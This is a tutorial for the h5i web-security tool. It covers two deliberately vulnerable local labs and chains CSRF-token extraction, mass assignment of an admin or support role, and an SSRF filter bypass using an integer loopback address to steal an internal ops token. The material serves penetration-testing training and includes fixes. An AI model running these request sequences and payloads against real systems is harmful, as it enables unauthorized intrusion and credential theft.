Building Exploit Chains
The final h5i tutorial: carry fresh values between requests, turn small findings into a complete compromise, and keep the entire chain reproducible.
The previous articles treated vulnerabilities one at a time. Real impact often appears only when several ordinary weaknesses connect.
Labs 41 and 42 conclude h5i-tutorial with two kinds of chain:
- an automated workflow where one response supplies a fresh token to the next request; and
- a five-stage exploit where every finding reveals the capability needed for the following step.
The governing question is:
What does this result let me reach that I could not reach before?
These are deliberately vulnerable local labs. Only test systems where you have explicit authorization.
Why a single replay is sometimes insufficient
h5i websec replay is ideal when a stored request needs one controlled change. Some endpoints, however, require a value generated moments earlier:
- log in;
- render a form;
- extract its fresh CSRF token;
- submit the form with that token; and
- request the result.
Copying values manually works once, but it is fragile and hard to reproduce. h5i websec sequence describes the steps, extracts values, and binds them into later requests.
Lab 41: mass assignment behind a valid CSRF token
Start the settings lab:
$ ./run.sh 41
$ h5i browser open 'http://127.0.0.1:9410/' \
--session lab41 --new --capture
The settings form uses a fresh, single-use CSRF token. The protection works. The bug is that the update handler still accepts a role field that the form never displays.
A replay of an old submission will fail because its token is missing or expired. Create flow.json:
{
"steps": [
{
"name": "log in",
"resend": 0,
"create": true,
"set": [
"method=POST",
"path=/api/login",
"header.Content-Type=application/json",
"json.user=${user}",
"json.password=${password}"
]
},
{
"name": "render the form and take its token",
"resend": 0,
"create": true,
"set": [
"method=GET",
"path=/account/settings"
],
"extract": {
"csrf": "regex:name=\"csrf\" value=\"([^\"]+)\""
}
},
{
"name": "save an extra field",
"resend": 0,
"create": true,
"set": [
"method=POST",
"path=/account/settings",
"header.Content-Type=application/x-www-form-urlencoded",
"form.display_name=Guest",
"form.csrf=${csrf}",
"form.role=admin"
]
},
{
"name": "collect",
"resend": 0,
"create": true,
"set": [
"method=GET",
"path=/admin/flag"
],
"extract": {
"flag": "regex:(FLAG\\{[^}]+\\})"
}
}
]
}
Run it with the lab credentials:
$ h5i websec sequence flow.json \
--session lab41 \
--var user=guest \
--var password=guest
The second step extracts csrf. ${csrf} in the third step is substituted with that exact value. An unbound variable stops the sequence rather than silently becoming an empty string.
The final step binds:
FLAG{sequence_csrf_chain}
The sequence does not bypass CSRF. It satisfies the control correctly and then tests a different property: whether the authenticated user may assign role.
The fix is the same as in Broken Access Control: allowlist editable fields and keep authorization data outside the object bound from the request.
Sequence files as security artifacts
A useful proof of concept should do more than work on its author’s machine. A sequence records:
- which request each step resends;
- which fields change;
- which values are extracted;
- where those values are used; and
- where the final evidence appears.
That makes it suitable for retesting and CI. After a fix, the same sequence should fail at the intended step.
Useful extractors include regular expressions, JSON paths, response headers, and status codes. Cookies need no manual binding because the browser session’s cookie jar carries them between steps.
Lab 42: the final gauntlet
Lab 42 contains no new vulnerability class. It tests whether we can connect the techniques already learned.
$ ./run.sh 42
$ h5i browser open 'http://127.0.0.1:9420/robots.txt' \
--session lab42 --new --capture
$ h5i websec sitemap --session lab42 --human
Keep every probe inside this session. The request history will become the reproduction.
Step 1: recon reveals the map
robots.txt names /internal/. Request its handover note:
$ h5i websec replay req_0 --session lab42 \
--set path=/internal/handover.md
The note reveals four facts:
- an older signup implementation still exists;
- it is selected through
X-Api-Version: 0; - a
supportaccount can use/api/support/fetch; - an internal ops service runs on port 9421 and still exposes
/debug/env.
The note is not the final vulnerability. It tells us where the chain can go.
Step 2: deprecated behavior enables mass assignment
The visible route is /api/v1/signup, but a client-controlled header selects the older behavior. Ask it to create a support user:
$ h5i websec replay req_0 --session lab42 --create \
--set method=POST \
--set path=/api/v1/signup \
--set header.Content-Type=application/json \
--set header.X-Api-Version=0 \
--set json.user=climber \
--set json.role=support
The deprecated handler accepts role and returns a token. Copy it:
$ TOKEN='PASTE_SUPPORT_TOKEN'
We combined the recon lesson from Lab 5 with mass assignment from Lab 9. Version skew does not always appear in the URL; it may be controlled through a header, media type, or query parameter.
Step 3: support access unlocks SSRF
The support token grants access to a URL fetcher. The application blocks familiar loopback spellings, but not the integer form 2130706433:
$ h5i websec replay req_0 --session lab42 --create \
--reset-budget \
--set path=/api/support/fetch \
--set "header.Authorization=Bearer $TOKEN" \
--set query.url=http://2130706433:9421/debug/env
This is the SSRF filter bypass from Labs 25 and 26. The fetcher wraps what it received, so the ops service’s own JSON arrives as a string inside the body field:
{
"status": 200,
"body": "{\"NODE_ENV\": \"production\", \"OPS_TOKEN\": \"ops_...\", \"REGION\": \"eu-west-1\"}"
}
Copy the OPS_TOKEN value:
$ OPS='PASTE_OPS_TOKEN'
Step 4: use the internal secret
The final vault is reachable only through the internal service and requires the ops token:
$ h5i websec replay req_0 --session lab42 --create \
--reset-budget \
--set path=/api/support/fetch \
--set "header.Authorization=Bearer $TOKEN" \
--set "query.url=http://2130706433:9421/vault?token=$OPS"
The result contains:
FLAG{the_gauntlet}
The whole route was:
public robots.txt
→ internal handover note
→ deprecated signup behavior
→ support-role mass assignment
→ authenticated URL fetcher
→ SSRF filter bypass
→ internal debug environment
→ ops token
→ root credential
Why the chain matters
Consider the components separately:
- a public internal note may look informational;
- deprecated signup behavior may appear low impact;
- a support-only fetcher may seem appropriately restricted;
- an internal debug endpoint may be considered unreachable.
Together, an unauthenticated visitor obtains the root credential.
A report should state that end-to-end impact first, then explain each link. Individual severity scores describe components; the chain describes actual risk.
Fixing a chain
Defense in depth means any correctly repaired boundary can stop the full path:
- do not publish internal operational notes;
- delete deprecated handlers instead of merely hiding them;
- allowlist signup fields across every version;
- resolve and validate SSRF destinations against network policy;
- prevent the application from reaching unnecessary internal ports;
- remove production debug endpoints;
- keep secrets out of debug output and query strings.
The existence of several fixes is good news. It also means a partial fix should be retested with the same sequence to identify whether another route still completes the chain.
The method to keep
Across all 42 labs, the recurring loop was:
- Capture a legitimate request.
- Read the complete response and traffic record.
- Change one thing through replay.
- Compare status, size, time, headers, and body.
- Ask what the result unlocks.
- Keep the next step in the same session.
- Turn the final path into a reproducible sequence.
h5i supplies the browser, direct HTTP control, and audit trail. The security reasoning remains the tester’s job: understand the application’s actors, objects, trust boundaries, and invariants.
Summary
Lab 41 automated a dynamic four-request flow without weakening its CSRF protection. Lab 42 chained recon, deprecated behavior, mass assignment, SSRF, and leaked internal credentials into a root compromise.
$ h5i browser close --session lab41
$ h5i browser close --session lab42
$ ./run.sh stop
The complete exercises, vulnerable applications, proof-of-concept scripts, and detailed solutions are available in h5i-tutorial.
References
Keep it beside youCheatsheet
The loop, every --set target, the replay flags, and probe values by class, on one page.
Run the labs yourself
42 deliberately vulnerable applications, one binary, no Docker and no accounts.